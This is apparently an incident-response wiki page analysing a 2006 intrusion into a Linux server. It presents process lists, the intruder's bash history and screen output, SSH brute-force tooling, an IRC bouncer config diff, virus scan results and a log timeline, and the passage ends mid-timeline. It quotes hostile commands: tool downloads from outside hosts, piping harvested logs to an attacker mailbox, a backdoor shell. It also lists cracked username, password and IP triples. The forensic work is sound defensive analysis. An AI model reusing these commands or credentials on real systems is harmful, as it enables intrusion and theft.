Forensics on Incident 1
Jump to navigation
Jump to search
Breach in ns0 @ e..oss
Analysis
ps auwx: 2006/03/17 +-20:20 ======== test 30731 0.0 0.0 676 284 ? S 00:21 0:00 ./ntpd test 31116 0.0 0.2 2944 1360 ? Ss 00:28 0:00 SCREEN test 31117 0.0 0.2 3000 1228 pts/5 Ss 00:28 0:00 /bin/bash test 31134 0.0 0.2 3164 1368 pts/5 S+ 00:29 0:00 /bin/bash test 32352 0.0 0.0 1444 280 ? Ss 00:43 0:00 ./go test 25680 0.0 0.2 2944 1412 ? Ss 09:03 0:00 SCREEN test 25681 0.0 0.3 3000 1656 pts/6 Ss 09:03 0:00 /bin/bash test 25717 0.0 0.3 3160 1748 pts/6 S+ 09:03 0:00 /bin/bash test 4132 0.0 0.0 1344 204 pts/5 T+ 10:40 0:00 ./go test 4135 0.0 0.0 0 0 pts/5 Z+ 10:40 0:00 [go] <defunct> test 3211 0.0 0.0 1344 240 pts/5 T+ 20:05 0:00 ./go test 3224 0.0 0.0 0 0 pts/5 Z+ 20:05 0:00 [go] <defunct> test 4088 0.0 0.2 2704 1260 pts/6 S+ 20:35 0:00 /bin/bash ./assh 24.35 test 4089 49.4 0.0 1492 456 pts/6 R+ 20:35 4:43 ./pscan2 24.35 22 test 4090 0.0 0.0 0 0 pts/6 Z+ 20:35 0:00 [pscan2] <defunct> test 4097 0.0 0.2 2704 1260 pts/5 S+ 20:35 0:00 /bin/bash ./assh 200.56 test 4098 49.4 0.0 1492 456 pts/5 R+ 20:35 4:43 ./pscan2 200.56 22 test 4099 0.0 0.0 0 0 pts/5 Z+ 20:35 0:00 [pscan2] <defunct> Screens: ======== test@ns0:/root$ screen -ls screen -r test/ There are screens on: 31116.pts-4.ns0 (Detached) 25680.pts-4.ns0 (Detached) 2 Sockets in /var/run/screen/S-test. test@ns0:/root$ screen -r 31116 First screen: ============= Copy of the current page: bind: Address already in use Norok in continuare ###################################################### # Compiled By D-a-N # #----------------------------------------------------# # Scaner Privat # #----------------------------------------------------# ###################################################### # Incep sa scanez IPuri # scanning: 200.58.255.* (total: 0) (100.0% done) # pscan completed in 820 seconds. (found 0 ips) # Cam putin : 0 de servere ---------------------------------------- # Se apropie sfarsitu :P Fii pe faza Dane.. ping: unknown host www.yahoo.com Toata dragostea mea pentru diavola!!!!!! bind: Address already in use Norok in continuare ###################################################### # Compiled By D-a-N # #----------------------------------------------------# # Scaner Privat # #----------------------------------------------------# ###################################################### # Incep sa scanez IPuri # scanning: 200.59.112.* (total: 0) (43.9% done) Second screen: ============== Copy of the full screen buffer: test@ns0:/var/tmp/.. /dan$ test@ns0:/var/tmp/.. /dan$ ls 200 assh gen-pass.sh pass_file sshf 200.221.pscan.22 auto go pscan2 ssh-scan 200.59.pscan.22 common go.sh ss vuln.txt bind: Address already in use Norok in continuare ###################################################### # Compiled By D-a-N # #----------------------------------------------------# # Scaner Privat # #----------------------------------------------------# ###################################################### # Incep sa scanez IPuri # scanning: 24.37.255.* (total: 0) (100.0% done) # pscan completed in 820 seconds. (found 0 ips) # Cam putin : 0 de servere ---------------------------------------- # Se apropie sfarsitu :P Fii pe faza Dane.. ping: unknown host www.yahoo.com Toata dragostea mea pentru diavola!!!!!! bind: Address already in use Norok in continuare ###################################################### # Compiled By D-a-N # #----------------------------------------------------# # Scaner Privat # #----------------------------------------------------# ###################################################### # Incep sa scanez IPuri # scanning: 24.38.136.* (total: 0) (53.3% done) test@ns0:/var/tmp/.. /2$ ./auto Enter A class range 24 Enter output file 24 test@ns0:/var/tmp/.. /2$ chmod +x 24 test@ns0:/var/tmp/.. /2$ ./24 ###################################################### # Compiled By D-a-N # #----------------------------------------------------# # Scaner Privat # #----------------------------------------------------# ###################################################### ... Bash history: ============= Ran history in screen 25680.pts-4.ns0: test@ns0:/var/tmp/.. /2$ history 48 first line identical to .bash_history then 49 ./auto 50 chmod +x 24 51 ./24 Content of .bash_history: ls cd ls wget wget rzv69.marte.ro/rzv69.tgz tar zxvf rzv69.tgz ls del 404 wget fire.prohosting.com/claubuc/scaner.jpg tar xzvf scaner.jpg cd scaner ./assh 207.44 ls ./auto 207.44 ./assh 213.186 cd /var/tmp cd .." " screen w passwd w cd /var/tmp ls -a cd /home/test/ ls -a cd scaner ls -a cat vuln.txt cd /var/tmp cat /etc/hosts su vinoj su vinoj su trollingsecours su trollingsecours su trollingsecours cd /var/tmp ls -a mkdir .." " cd .." " wget fire.prohosting.com/scarlatu/dan.jpg wget fire.prohosting.com/scarlatu/psy.jpg tar xzvf psy.jpg cd .bash ./ntpd cd .. tar xzvf dan.jpg cd dan screen ls -a ./go.sh 200.41 ./assh 200.41 exit w screen -r screen -r 30860.pts-2.ns0 screen -r 31116.pts-4.ns0 cd /var/tmp cd .." " cd dan pico vuln.txt rm -rf vuln.txt touch vuln.txt cd .. tar xzvf dan.jpg ls -a cd dan ls -a cd .. mv dan 1 tar xzvf dan.jpg mv dan 2 mv 1 dan ls -a cd 2 screen screen -r screen -r 30860.pts-2.ns0 screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 cd /var/tmp cd .." " cd 2 pico vuln.txt cd .. cd dan pico vuln.txt cat vuln.txt clear w screen -r screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 w ls -a cd /var/tmp cd .." " cd dan vi vuln.txt cd /var/tmp cd .." " cd dan vi vuln.txt ls -a cd .. cd 2 vi vuln.txt ls -a w screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 31116.pts-4.ns0 cd /var/tmp cd .." " cd .." " cd dan vi vuln.txt ls -a cd .. cd 2 vi vuln.txt ls -a screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 ftp screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 25680.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 ftp screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 w screen -r screen -r 31116.pts-4.ns0 screen -r 25680.pts-4.ns0 crontab -e Tools: ====== * Attempt to download rzv69.marte.ro/rzv69.tgz, err 404 * Download tools from fire.prohosting.com/claubuc/scaner.jpg (tgz) * Download tools from fire.prohosting.com/scarlatu/dan.jpg (tgz) * Download tools from fire.prohosting.com/scarlatu/psy.jpg (tgz) * Romanian scripts * Compiled By D-a-N * cat log|mail -s 'linux-printer' usdpower@yahoo.com (dan tools) * cat log|mail -s 'linux-printer' scaneru_meu@yahoo.com (scaner tools) Scans: ====== * scan ssh on ranges 200.55 200.58 200.59 24.34 24.37 24.38 207.44 213.186 Netstat Abstract: (within the 800 simultaneous scans) tcp 0 1 213.186.53.59:59930 24.35.236.71:22 SYN_SENT 4089/pscan2 tcp 0 1 213.186.53.59:60352 200.56.236.93:22 SYN_SENT 4098/pscan2 tcp 0 1 213.186.53.59:60288 200.56.236.29:22 SYN_SENT 4098/pscan2 tcp 0 1 213.186.53.59:60424 200.56.236.165:22 SYN_SENT 4098/pscan2 tcp 0 1 213.186.53.59:60233 200.56.235.229:22 SYN_SENT 4098/pscan2 tcp 0 1 213.186.53.59:60169 200.56.235.165:22 SYN_SENT 4098/pscan2 tcp 0 1 213.186.53.59:60095 200.56.235.91:22 SYN_SENT 4098/pscan2 IRC: ==== * Connection to IRC(6667) with psyBNC(ntpd) to 195.204.1.130 ** = oslo1.no.eu.undernet.org Netstat: tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN 30731/ntpd tcp 0 0 213.186.53.59:34227 195.204.1.130:6667 ESTABLISHED30731/ntpd Diffs between the downloaded tool and the hacker's version: --- log/psybnc.log 1970-01-01 01:00:00.000000000 +0100 +++ log/psybnc.log 2006-03-19 23:32:53.000000000 +0100 @@ -0,0 +1,15 @@ +Fri Mar 17 00:21:14 :Listener created :0.0.0.0 port 6667 +Fri Mar 17 00:21:14 :psyBNC2.3BETA-cBtITLdDMSNp started (PID :30731) +Fri Mar 17 00:21:14 :Loading all Users.. +Fri Mar 17 00:21:14 :No Users found. +Fri Mar 17 00:21:29 :connect from 209-NAT.s-man.net +Fri Mar 17 00:21:31 :Lost Connection from 209-NAT.s-man.net (dan) +Fri Mar 17 00:22:31 :connect from 209-NAT.s-man.net +Fri Mar 17 00:22:39 :Noul User:dan (x) a fsot adaugat de dan +Fri Mar 17 00:22:48 :User dan () nu are nici un server adaugat +Fri Mar 17 00:23:05 :User dan () trying lelystad.nl.eu.undernet.org port 6667 (). +Fri Mar 17 00:23:05 :User dan () connected to lelystad.nl.eu.undernet.org:6667 () +Fri Mar 17 00:23:27 :Userul dan () A fost deconectat(de la lelystad.nl.eu.undernet.org) motivul: Closing Link: D4aNieL by Lelystad.NL.EU.UnderNet.Org (K-lined) +Fri Mar 17 00:23:42 :User dan () trying 195.204.1.130 port 6667 (). +Fri Mar 17 00:23:43 :User dan () connected to 195.204.1.130:6667 () +Fri Mar 17 00:30:35 :User dan quitted (from 209-NAT.s-man.net) --- motd/USER1.MOTD 1970-01-01 01:00:00.000000000 +0100 +++ motd/USER1.MOTD 2006-03-19 23:32:53.000000000 +0100 @@ -0,0 +1,71 @@ +:Oslo1.NO.EU.undernet.org 001 D4aNieL :Welcome to the UnderNet IRC Network, D4aNieL +:Oslo1.NO.EU.undernet.org 002 D4aNieL :Your host is Oslo1.NO.EU.undernet.org, running version u2.10.11.07 +:Oslo1.NO.EU.undernet.org 003 D4aNieL :This server was created Mon Sep 5 2005 at 01:40:32 CEST +:Oslo1.NO.EU.undernet.org 004 D4aNieL Oslo1.NO.EU.undernet.org u2.10.11.07 dioswkgx biklmnopstvr bklov +:Oslo1.NO.EU.undernet.org 005 D4aNieL WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE SILENCE=15 MODES=6 MAXCHANNELS=30 MAXBANS=45 NICKLEN=12 MAXNICKLEN=15 :are supported by this server +:Oslo1.NO.EU.undernet.org 005 D4aNieL TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,imnpstr CASEMAPPING=rfc1459 NETWORK=UnderNet :are supported by this server +:Oslo1.NO.EU.undernet.org 251 D4aNieL :There are 31261 users and 80486 invisible on 28 servers +:Oslo1.NO.EU.undernet.org 252 D4aNieL 82 :operator(s) online +:Oslo1.NO.EU.undernet.org 253 D4aNieL 237 :unknown connection(s) +:Oslo1.NO.EU.undernet.org 254 D4aNieL 42167 :channels formed +:Oslo1.NO.EU.undernet.org 255 D4aNieL :I have 7253 clients and 1 servers +:Oslo1.NO.EU.undernet.org 375 D4aNieL :- Oslo1.NO.EU.undernet.org Message of the Day - +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- 2005-12-16 5:48 +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Welome to Oslo*.NO.EU.undernet.org +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Disclaimer / Rules +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- Irc is an umoderated international medium. Cloning is +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- strictly forbidden on this server, any clones will +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- not be tolerated. Mass Messaging / Mass Invites are not +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- allowed on any Undernet server, any offenders will be killed. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- Using this server means you agree to all of its rules and the +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- rules of Undernet. If you cannot agree to this then /quit now. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Server contact info: +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- E-mail : oslo@undernet.org +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> News: +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- [12.05.2005] +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- We are out of news. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- [12.12.2004] +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- We shut down the channel #banetele. Most of the users in there needed +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- reop/channel related helping and we have #nastrand for that. For info +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- not related to channel/user problems, email oslo@undernet.org. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- [26.08.2003] +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- We are back online :) +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- Thank you to our provider www.banetele.com for all help! +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Ports: +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- 6666, 6667, 6668, 7000 +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Bot Policies: +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- It is allowed to run NON abusive bots on this server, all abusive +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- bots will be killed on sight. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- Undernet has Cservice. Go to http://cservice.undernet.org +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- or #Cservice if you have any questions. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> Help Channels: +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- #nastrand -> Oper/IRC Help +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- #cservice -> Cservice questions +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- #mIRC -> For mIRC questions +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- #vh -> For help with viruses +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- #helpchan -> IRC Help +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- Please notice that these channels are not administrated by the +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- oslo.* crew and we and/or the server sponsors can not be held +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- responsible for actions taken or info given in the channels. +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- ==> AGAIN .. READ THIS !! +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- NO CLONES, NO FLOODING, NO HARASSING, NO SPAMMING! +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- The use of this server is no right, but a privilege. The admin(s) +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- and opers can revoke this priviledge without further notice and +:Oslo1.NO.EU.undernet.org 372 D4aNieL :- without a reason. +:Oslo1.NO.EU.undernet.org 376 D4aNieL :End of /MOTD command. --- psybnc.conf 2003-04-07 14:47:00.000000000 +0200 +++ psybnc.conf 2006-03-19 23:32:53.000000000 +0100 @@ -1,3 +1,25 @@ PSYBNC.SYSTEM.PORT1=6667 PSYBNC.SYSTEM.HOST1=* PSYBNC.HOSTALLOWS.ENTRY0=*;* +USER1.USER.LOGIN=dan +USER1.USER.USER=x +USER1.USER.PASS==0x'q'0'W`2'S0I'F`x +USER1.USER.RIGHTS=1 +USER1.USER.VLINK=0 +USER1.USER.PPORT=0 +USER1.USER.PARENT=0 +USER1.USER.QUITTED=0 +USER1.USER.DCCENABLED=1 +USER1.USER.AUTOGETDCC=0 +USER1.USER.AIDLE=0 +USER1.USER.LEAVEQUIT=0 +USER1.USER.AUTOREJOIN=1 +USER1.USER.SYSMSG=1 +USER1.USER.LASTLOG=0 +USER1.USER.NICK=D-a-N +USER1.SERVERS.SERVER1=lelystad.nl.eu.undernet.org +USER1.SERVERS.PORT2=6667 +USER1.SERVERS.SERVER2=195.204.1.130 +USER1.SERVERS.PORT1=6667 +USER1.CHANNELS.ENTRY1=#porumbei +USER1.CHANNELS.ENTRY0=#xibit Backdoor: ========= * ./go opens port 19876 with a shell without auth cf http://www.2701.org/archive/200311240000.html Netstat: tcp 0 0 0.0.0.0:19876 0.0.0.0:* LISTEN 32352/go * ./ss cf http://www.securiteam.com/tools/5EP0B0ADFO.html Fast SYN Scanner (libnet, libpcap) 11 Jul. 2004 Credit: The information has been provided by Doctor BIOS. The following tool is a fast SYN scanner written in C. vuln.txt: ========= cf http://www.lockeddown.net/rst-expl.txt ssh brute-force: ================ ssh-scan and sshf ./sshf <procese adika cate de alea deodata incerc> ~= how many processes to run together /etc/passwd: ============ test:x:1024:1024:,,,:/home/test:/bin/false mails: ====== cat /etc/passwd /sbin/ifconfig |grep inet cat /etc/hosts uname -a w ping -c 3 www.yahoo.com cat vuln.txt chmod +x go ./go 139P Received: from test by ns0.exxoss.com with local (Exim 4.50) for usdpower@yahoo.com; Fri, 17 Mar 2006 17:35:14 +0100 023T To: usdpower@yahoo.com 023 Subject: linux-printer 047I Message-Id: <E1FKHv0-0008GG-4C@ns0.exxoss.com> 034F From: ",,," <test@ns0.exxoss.com> 038 Date: Fri, 17 Mar 2006 17:35:14 +0100 To-be-Mailed data: administrator:administrator:24.16.169.218 guest:guest:24.16.169.218 test:test:24.3.178.253 mysql:mysql:200.27.145.74 root:admin1:200.31.199.77 root:password:24.8.131.152 root:secure:24.11.225.20 root:123456:200.32.86.228 root:1234567890:200.32.86.228 root:admin1:200.32.86.228 root:admin:200.32.86.228 root:administrator1:200.32.86.228 root:backup:200.32.86.228 root:passwd:200.32.86.228 root:password123:200.32.86.228 root:password:200.32.86.228 root:qwerty:200.32.86.228 root:root1:200.32.86.228 root:root:200.32.86.228 root:rootroot:200.32.86.228 root:secret:200.32.86.228 root:secure:200.32.86.228 root:administrator:200.32.86.228 (honeypot probably) RST virus: ========== Quick and dirty way to find infected files: find . -type f -exec strings --all {} \; |grep snortdos Files: "Dumb" scan of all files Switches: -ARCHIVE -PACKED -SERVER /tmp/scaner/go Infection: Unix/RST.B /tmp/scaner/pscan2 Infection: Unix/RST.B /tmp/scaner/ss Infection: Unix/RST.B /tmp/scaner/ssh-scan Infection: Unix/RST.B /tmp/scaner/sshf Infection: Unix/RST.B Results of virus scanning: Infected: 5 Seems that infected files are updating them at each run and modify the timestamp /home/test/scaner: 23714 2006-03-06 23:23 go 25503 2005-05-06 19:00 pscan2 458068 2006-03-07 00:03 ss 846520 2006-03-07 00:03 sshf 846832 2006-03-06 23:12 ssh-scan /var/tmp/.. /2: 23714 2006-03-17 21:17 go 25503 2006-03-17 21:17 pscan2 458068 2006-03-17 21:17 ss 846520 2006-03-17 21:17 sshf 846832 2006-03-17 21:17 ssh-scan /var/tmp/.. /dan: 23714 2006-03-17 10:35 go 25503 2006-03-17 21:17 pscan2 458068 2006-03-17 21:17 ss 846520 2006-03-17 21:17 sshf 846832 2006-03-17 21:17 ssh-scan 21:17 corresponds to the crash of the server so probably infected executables are left open even after being killed Note: same virus present also in: /ns0/var/www/www.fmjbf.org/phpSecurePages/bindtty2: Linux.RST.B FOUND /ns0/var/www/www.fmjbf.org/phpSecurePages/btty: Linux.RST.B FOUND TIMELINE: ========= 2006/02/16 08:58:08 82.79.137.30 vsftpd: Thu Feb 16 08:58:08 2006 [pid 23877] [demo] FAIL LOGIN: Client "82.79.137.30" Mar 6 12:28:21 localhost sshd[31087]: error: PAM: Authentication failure for skycode from 193.190-200-80.adsl.skynet.be Mar 6 12:28:24 localhost sshd[31087]: Accepted keyboard-interactive/pam for skycode from 80.200.190.193 port 13329 ssh2 Mar 6 12:29:31 localhost sudo: skycode : TTY=pts/3 ; PWD=/home/skycode ; USER=root ; COMMAND=/bin/bash Mar 06 06 12:30:50 4096 m.c drwxr-xr-x root root /etc/webmin 639 m.c -rw------- root root /etc/webmin/miniserv.conf Mar 6 12:31:05 localhost webmin[31297]: Webmin starting Mar 6 12:31:13 localhost webmin[31307]: Successful login as root from 193.190-200-80.adsl.skynet.be 2006/03/06 13:48:47 82.79.137.24 * vsftpd: Mon Mar 6 13:48:47 2006 [pid 4586] [test] OK LOGIN: Client "82.79.137.24" Mar 03 06 15:53:30 21 m.c -rw-r----- root shadow /etc/webmin/miniserv.users Mar 03 06 16:11:31 4096 m.c drwxr-xr-x root root /etc/exim4 7838 m.c -rw-r--r-- root root /etc/exim4/exim4.conf Mar 6 17:59:47 localhost sshd[22697]: Accepted keyboard-interactive/pam for skycode from 80.201.157.39 port 11272 ssh2 Mar 6 19:43:12 localhost sshd[32573]: Accepted publickey for dorian1200 from 217.117.45.148 port 49764 ssh2 Mar 6 19:43:17 localhost sudo: dorian1200 : TTY=pts/4 ; PWD=/home/dorian1200 ; USER=root ; COMMAND=/bin/bash Mar 6 20:22:42 localhost sshd[3285]: Accepted keyboard-interactive/pam for skycode from 80.201.157.39 port 12754 ssh2 dorian12 pts/2 217.117.45.148 Mon Mar 6 21:38 - 21:40 (00:01) Mar 6 21:38:37 localhost sshd[10242]: Accepted publickey for dorian1200 from 217.117.45.148 port 44246 ssh2 Mar 6 21:38:44 localhost sudo: dorian1200 : TTY=pts/2 ; PWD=/home/dorian1200 ; USER=root ; COMMAND=/bin/bash 2006/03/06 22:27:30 82.79.137.26 26.metronetwork.rdsbz.ro - - [06/Mar/2006:22:27:30 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-" 2006/03/06 22:27:31 82.79.137.26 26.metronetwork.rdsbz.ro - - [06/Mar/2006:22:27:31 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.56/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-" 2006/03/06 22:28:16 82.79.137.27 Mar 6 22:28:16 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.27 2006/03/06 22:28:18 82.79.137.27 vsftpd: Mon Mar 6 22:28:18 2006 [pid 14875] [anonymous] FAIL LOGIN: Client "82.79.137.27" 2006/03/06 22:28:18 82.79.137.18 Mar 6 22:28:18 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.18 2006/03/06 22:28:20 82.79.137.18 vsftpd: Mon Mar 6 22:28:20 2006 [pid 14881] [anonymous] FAIL LOGIN: Client "82.79.137.18" 2006/03/06 22:28:29 82.79.137.25 * vsftpd: Mon Mar 6 22:28:29 2006 [pid 14911] [test] OK LOGIN: Client "82.79.137.25" 2006/03/06 22:28:30 82.79.137.14 * vsftpd: Mon Mar 6 22:28:30 2006 [pid 14914] [test] OK LOGIN: Client "82.79.137.14" 2006/03/06 22:28:39 82.79.137.22 Mar 6 22:28:39 localhost sshd[14930]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=22.metronetwork.rdsbz.ro user=test 2006/03/06 22:28:41 82.79.137.22 Mar 6 22:28:41 localhost sshd[14924]: error: PAM: Authentication failure for test from 22.metronetwork.rdsbz.ro 2006/03/06 22:28:43 82.79.137.22 * Mar 6 22:28:43 localhost sshd[14924]: Accepted keyboard-interactive/pam for test from 82.79.137.22 port 1383 ssh2 2006/03/06 22:28:43 82.79.137.22 * Mar 6 22:28:43 localhost sshd[14934]: (pam_unix) session opened for user test by (uid=0) 2006/03/06 22:28 82.79.137.22 * test pts/2 82.79.137.22 Mon Mar 6 22:28 - 00:21 (01:52) 2006/03/06 22:31:06 82.79.137.18 Mar 6 22:31:06 localhost sshd[15200]: Illegal user asd from 82.79.137.18 2006/03/06 23:29:14 82.79.137.7 * vsftpd: Mon Mar 6 23:29:14 2006 [pid 20547] [test] OK LOGIN: Client "82.79.137.7" 2006/03/06 22:40:54 82.79.137.22 *! Mar 06 06 22:40:54 167818 m.. -rw-r--r-- test test /home/test/scaner/207.44.pscan.22 2006/03/06 23:12:35 82.79.137.22 *! Mar 06 06 23:12:35 846832 m.. -rwxr-xr-x test test /home/test/scaner/ssh-scan 2006/03/06 23:23:56 82.79.137.22 *! Mar 06 06 23:23:56 23714 m.. -rwxr-xr-x test test /home/test/scaner/go 2006/03/06 00:03:34 82.79.137.22 *! Mar 07 06 00:03:34 846520 m.. -rwxr-xr-x test test /home/test/scaner/sshf 2006/03/06 00:03:34 82.79.137.22 *! 4096 m.. drwxr-xr-x test test /home/test/scaner 2006/03/06 00:03:34 82.79.137.22 *! 458068 m.. -rwxr-xr-x test test /home/test/scaner/ss skycode pts/3 213.186.53.55 Tue Mar 7 00:14 - down (00:45) 2006/03/07 00:21:24 82.79.137.22 * Mar 7 00:21:24 localhost sshd[14934]: (pam_unix) session closed for user test skycode pts/2 213.186.53.55 Tue Mar 7 00:58 - down (00:01) runlevel (to lvl 6) Tue Mar 7 00:59 - 00:59 (00:00) 2.4.27-2-386 shutdown system down Tue Mar 7 00:59 - 01:02 (00:02) 2.4.27-2-386 reboot system boot Tue Mar 7 01:02 - 08:45 (07:42) 2.4.27-2-386 runlevel (to lvl 2) Tue Mar 7 01:02 - 08:45 (07:42) 2.4.27-2-386 skycode pts/0 Tue Mar 7 01:04 - 01:04 (00:00) 213.186.53.55 skycode pts/0 Tue Mar 7 08:28 - down (00:16) 213.186.53.55 runlevel (to lvl 6) Tue Mar 7 08:45 - 08:45 (00:00) 2.4.27-2-386 shutdown system down Tue Mar 7 08:45 - 08:48 (00:02) 2.4.27-2-386 reboot system boot Tue Mar 7 08:48 - 09:18 (00:30) 2.4.27-2-386 runlevel (to lvl 2) Tue Mar 7 08:48 - 09:18 (00:30) 2.4.27-2-386 skycode pts/0 Tue Mar 7 08:56 - down (00:22) 213.186.53.55 skycode pts/1 Tue Mar 7 09:17 - down (00:01) 213.186.53.55 runlevel (to lvl 6) Tue Mar 7 09:18 - 09:18 (00:00) 2.4.27-2-386 shutdown system down Tue Mar 7 09:18 - 09:22 (00:03) 2.4.27-2-386 reboot system boot Tue Mar 7 09:22 - 09:25 (00:03) 2.4.27-2-386 runlevel (to lvl 2) Tue Mar 7 09:22 - 09:25 (00:03) 2.4.27-2-386 skycode pts/0 Tue Mar 7 09:23 - down (00:01) 217.136.140.81 runlevel (to lvl 6) Tue Mar 7 09:25 - 09:25 (00:00) 2.4.27-2-386 shutdown system down Tue Mar 7 09:25 - 09:28 (00:02) 2.4.27-2-386 reboot system boot Tue Mar 7 09:28 - 09:44 (00:15) 2.4.27-2-386 runlevel (to lvl 2) Tue Mar 7 09:28 - 09:44 (00:15) 2.4.27-2-386 skycode pts/0 Tue Mar 7 09:34 - down (00:09) 217.136.140.81 runlevel (to lvl 6) Tue Mar 7 09:44 - 09:44 (00:00) 2.4.27-2-386 shutdown system down Tue Mar 7 09:44 - 09:48 (00:04) 2.4.27-2-386 reboot system boot Tue Mar 7 09:48 - 01:03 (12+15:14) 2.4.27-2-386 runlevel (to lvl 2) Tue Mar 7 09:48 - 01:03 (12+15:14) 2.4.27-2-386 2006/03/09 14:57:31 82.79.137.27 * vsftpd: Thu Mar 9 14:57:31 2006 [pid 5545] [test] OK LOGIN: Client "82.79.137.27" 2006/03/09 14:57:31 82.79.137.26 * vsftpd: Thu Mar 9 14:57:31 2006 [pid 5541] [test] OK LOGIN: Client "82.79.137.26" 2006/03/09 14:57:31 82.79.137.28 * vsftpd: Thu Mar 9 14:57:31 2006 [pid 5543] [test] OK LOGIN: Client "82.79.137.28" 2006/03/09 14:57:31 82.79.137.7 * vsftpd: Thu Mar 9 14:57:31 2006 [pid 5547] [test] OK LOGIN: Client "82.79.137.7" 2006/03/09 14:57:33 82.79.137.28 * vsftpd: Thu Mar 9 14:57:33 2006 [pid 5561] [test] OK LOGIN: Client "82.79.137.28" 2006/03/09 14:57:33 82.79.137.30 * vsftpd: Thu Mar 9 14:57:33 2006 [pid 5563] [test] OK LOGIN: Client "82.79.137.30" 2006/03/09 15:01:29 82.79.137.30 30.metronetwork.rdsbz.ro - - [09/Mar/2006:15:01:29 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" 2006/03/09 15:01:30 82.79.137.30 30.metronetwork.rdsbz.ro - - [09/Mar/2006:15:01:30 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.60/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" 2006/03/09 15:01:34 82.79.137.6 Mar 9 15:01:34 localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.6 2006/03/09 15:01:36 82.79.137.6 vsftpd: Thu Mar 9 15:01:36 2006 [pid 5944] [anonymous] FAIL LOGIN: Client "82.79.137.6" 2006/03/09 15:01:37 82.79.137.27 Mar 9 15:01:37 